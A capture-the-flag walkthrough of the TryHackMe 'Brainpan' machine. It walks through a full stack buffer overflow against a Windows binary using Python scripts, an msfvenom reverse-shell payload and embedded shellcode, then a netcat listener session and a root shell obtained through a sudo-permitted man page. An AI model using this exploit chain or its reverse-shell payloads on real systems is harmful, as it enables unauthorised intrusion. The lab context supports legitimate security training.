Tryhackme - Brainpan
Brainpan is a fun linux machine on tryhackme that is running a windows binary vulnerable to a OSCP-like buffer overflow attack. Following the attack we can gain an initial foothold on the machine and escalate our privileges by using the man pages and spawning a shell.
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Site doesn't have a title (text/html).
Exploit buffer overflow
Initial crash
1
2
3
4
5
6
7
8
9
10
11
12
import socket
payload = "A" * 1500
#### Connection and send exploit
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.159.136", 9999))
s.send(payload + "\r\n")
s.close()
except:
print "Can't do it......"
The following script caused the program to crash.
Finding offset
We know that using a 1500 character buffer will cause the program to crash. However, we don’t know what is the exact position where we start overwriting the EIP which is very important as the EIP points to the next instruction and making it do what we want will help us JMP to another register such as the ESP which could contain our malicious shellcode.
To see that we can use msf-pattern_create and msf-patter_offset that come with the metasploit package.
1
msf-pattern_create -l 1500
1
2
3
4
5
6
7
8
9
10
11
12
import socket
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9"
#### Connection and send exploit
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.159.136", 9999))
s.send(payload + "\r\n")
s.close()
except:
print "Can't do it......"
1
2
$ msf-pattern_offset -q 35724134
[*] Exact match at offset 524
Locating space for the shellcode
We see that our payload is writing into the ESP which can hold our shellcode to be executed. We need to go back and see how much space the ESP has for our shellcode as the reverse shell shell code takes around 350-400 bytes. We see that our EIP can be overwritten from 524 we need to add 4 bytes for the EIP + 500 bytes for our shellcode. But for consistency we will keep our payload at 1500 bytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import socket
# \x41 = A
initial = b"\x41" * 524
# \x42 = B
EIP = b"\x42" * 4
# \x43 = C
ESP = "\x43" * 500
payload = initial + EIP + ESP
# \x90 = NO-OP - no operation (This operation does nothing and moves on the next instruction)
padding = "\x90" * (1500 - len(payload))
payload += padding
#### Connection and send exploit
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.159.136", 9999))
s.send(payload + "\r\n")
s.close()
except:
print "Can't do it......"
We see that this crashed the program and have around 460 bytes written in the ESP which we can confirm with the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import socket
# \x41 = A
initial = b"\x41" * 524
# \x42 = B
EIP = b"\x42" * 4
# \x43 = C
ESP = "\x43" * 467
payload = initial + EIP + ESP
# \x44 = D
padding = "\x44" * (1500 - len(payload))
payload += padding
#### Connection and send exploit
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.159.136", 9999))
s.send(payload + "\r\n")
s.close()
except:
print "Can't do it......"
We see that the last 4 characters of our ESP are D’s which means we have enough space for our shellcode. (Select the register address → right-click —> follow in dump)
Bad characters
We almost have everything we need to gain a shell but before we generate shellcode we need to find the bad characters which will cause our exploit to fail.
We use the following to find the bad chars.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
# \x41 = A
initial = "\x41" * 524
# \x42 = B
EIP = "\x42" * 4
# \x43 = C
ESP = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
payload = initial + EIP + ESP
# \x44 = D
padding = "\x44" * (1500 - len(payload))
payload += padding
#### Connection and send exploit
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.159.136", 9999))
s.send(payload + "\r\n")
s.close()
except:
print "Can't do it......"
Sending the payload again crashed the program.
We see that after the \x00 byte the rest does not go through. We have our first bad character.
1
\x00
Sending the payload again and manually inspecting the characters reveals no other bad characters.
JMP ESP
We now have the bad characters and the exact location of the EIP. Now we need to find the address of the JMP ESP instruction which will be used to tell the program to jump to the ESP (we control this) and execute what is in there (Our malicious payload).
We can find the JMP ESP a couple of ways
- Using search for command.
- Using the following command in the command box in immunity debugger
1
!mona find -s '\xff\xe4' -m brainpan.exe
We now have the memory address of the JMP ESP instruction.
1
\xF3\x12\x17\x31
Generating the shellcode
Time to generate the malicious shellcode we want the machine to execute.
1
msfvenom -p windows/shell_reverse_tcp lport=443 lhost=192.168.159.141 -b '\x00' -f python
Perfect the payload is under 460 bytes which is just about the size we need.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import socket
# \x41 = A
initial = b"\x41" * 524
# The EIP will contain the address of the JMP ESP instruction
EIP = b"\xF3\x12\x17\x31"
##### malicious shellcode
buf = b""
buf += b"\xda\xd4\xd9\x74\x24\xf4\xbf\x38\xb7\xf3\x96\x5d\x29"
buf += b"\xc9\xb1\x52\x31\x7d\x17\x03\x7d\x17\x83\xd5\x4b\x11"
buf += b"\x63\xd9\x5c\x54\x8c\x21\x9d\x39\x04\xc4\xac\x79\x72"
buf += b"\x8d\x9f\x49\xf0\xc3\x13\x21\x54\xf7\xa0\x47\x71\xf8"
buf += b"\x01\xed\xa7\x37\x91\x5e\x9b\x56\x11\x9d\xc8\xb8\x28"
buf += b"\x6e\x1d\xb9\x6d\x93\xec\xeb\x26\xdf\x43\x1b\x42\x95"
buf += b"\x5f\x90\x18\x3b\xd8\x45\xe8\x3a\xc9\xd8\x62\x65\xc9"
buf += b"\xdb\xa7\x1d\x40\xc3\xa4\x18\x1a\x78\x1e\xd6\x9d\xa8"
buf += b"\x6e\x17\x31\x95\x5e\xea\x4b\xd2\x59\x15\x3e\x2a\x9a"
buf += b"\xa8\x39\xe9\xe0\x76\xcf\xe9\x43\xfc\x77\xd5\x72\xd1"
buf += b"\xee\x9e\x79\x9e\x65\xf8\x9d\x21\xa9\x73\x99\xaa\x4c"
buf += b"\x53\x2b\xe8\x6a\x77\x77\xaa\x13\x2e\xdd\x1d\x2b\x30"
buf += b"\xbe\xc2\x89\x3b\x53\x16\xa0\x66\x3c\xdb\x89\x98\xbc"
buf += b"\x73\x99\xeb\x8e\xdc\x31\x63\xa3\x95\x9f\x74\xc4\x8f"
buf += b"\x58\xea\x3b\x30\x99\x23\xf8\x64\xc9\x5b\x29\x05\x82"
buf += b"\x9b\xd6\xd0\x05\xcb\x78\x8b\xe5\xbb\x38\x7b\x8e\xd1"
buf += b"\xb6\xa4\xae\xda\x1c\xcd\x45\x21\xf7\x32\x31\xb6\x8a"
buf += b"\xdb\x40\xc8\x95\xa0\xcc\x2e\xff\xc6\x98\xf9\x68\x7e"
buf += b"\x81\x71\x08\x7f\x1f\xfc\x0a\x0b\xac\x01\xc4\xfc\xd9"
buf += b"\x11\xb1\x0c\x94\x4b\x14\x12\x02\xe3\xfa\x81\xc9\xf3"
buf += b"\x75\xba\x45\xa4\xd2\x0c\x9c\x20\xcf\x37\x36\x56\x12"
buf += b"\xa1\x71\xd2\xc9\x12\x7f\xdb\x9c\x2f\x5b\xcb\x58\xaf"
buf += b"\xe7\xbf\x34\xe6\xb1\x69\xf3\x50\x70\xc3\xad\x0f\xda"
buf += b"\x83\x28\x7c\xdd\xd5\x34\xa9\xab\x39\x84\x04\xea\x46"
buf += b"\x29\xc1\xfa\x3f\x57\x71\x04\xea\xd3\x81\x4f\xb6\x72"
buf += b"\x0a\x16\x23\xc7\x57\xa9\x9e\x04\x6e\x2a\x2a\xf5\x95"
buf += b"\x32\x5f\xf0\xd2\xf4\x8c\x88\x4b\x91\xb2\x3f\x6b\xb0"
ESP = buf
# A no op sled will do nothing but just move to the next byte. This can be useful if the memory address changes a little bit for the ESP.
no_op_sled = "\x90" * 10
payload = initial + EIP + no_op_sled + ESP
payload += padding
#### Connection and send exploit
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.159.136", 9999))
s.send(payload + "\r\n")
s.close()
except:
print "Can't do it......"
On the attacker machine we listen on port 443 which we specified when generating the shellcode.
1
nc -nvlp 443
Sending the payload gives us a reverse shell.
Making sure we have the right shell
The reverse shell shows a windows terminal however it looks like its not a windows machine instead a linux machine so we update our payload and get a linux reverse shell.
1
msfvenom -p linux/x86/shell_reverse_tcp lport=9001 lhost=10.8.34.54 -b '\x00' -f python
The the buf variable now contains our linux payload which we can use to get a linux shell.
We use the following commands to stabilize the shell.
1
2
3
4
5
6
7
8
9
10
11
12
nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.8.34.54] from (UNKNOWN) [10.10.63.225] 58884
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
python -c 'import pty;pty.spawn("/bin/bash")'
puck@brainpan:/home/puck$ ^Z
[1]+ Stopped nc -nvlp 9001
root@kali:# stty raw -echo;fg
nc -nvlp 9001
puck@brainpan:/home/puck$
Now we can use a proper shell with auto-complete.
Privilege Escalation
Using sudo -l
reveals that puck has the following permissions.
1
2
3
4
5
6
7
puck@brainpan:/home/puck$ sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
When we run the following commands we get the following error:
1
2
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util proclist
'unknown': unknown terminal type.
This can be fixed by exporting a different TERM variable using:
1
export TERM=xterm
Running the binary as sudo reveals 3 options, one of them being manual [command]
which basically opens a man page for the command.
Checking gtfo bins reveals that just using !/bin/sh
in the man page will spawn a root shell.